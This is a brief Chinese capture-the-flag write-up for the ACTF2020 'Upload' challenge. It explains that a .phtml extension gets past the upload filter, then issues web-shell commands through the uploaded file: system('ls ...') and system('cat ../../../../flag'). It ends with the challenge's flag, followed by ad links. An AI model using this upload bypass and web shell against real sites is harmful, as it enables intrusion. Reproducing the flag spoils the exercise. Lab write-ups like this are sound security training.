[ACTF2020 新生赛]Upload
启动靶机,发现有前端验证
先绕过前端验证,在burp中尝试发现验证在文件名后缀,且会重命名文件名
发现.ini能上传但是会被重命名,既然不像前端显示只有三种格式能上传,这里我们寻找能绕过的后缀
尝试发现phtml能上传成功
//PHTML 扩展名是 PHP 的一个模块,它允许在 HTML 文件中使用 PHP 代码,并且可以将 PHP 代码和 HTML 代码合并到一个文件中。
写入后门代码也不会被过滤
cmd=system('ls ../../../../');
查找到flag位置
最后读取flag
cmd=system('cat ../../../../flag');
flag{df69440c-0327-4e56-86a2-73c94bc24d5d}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步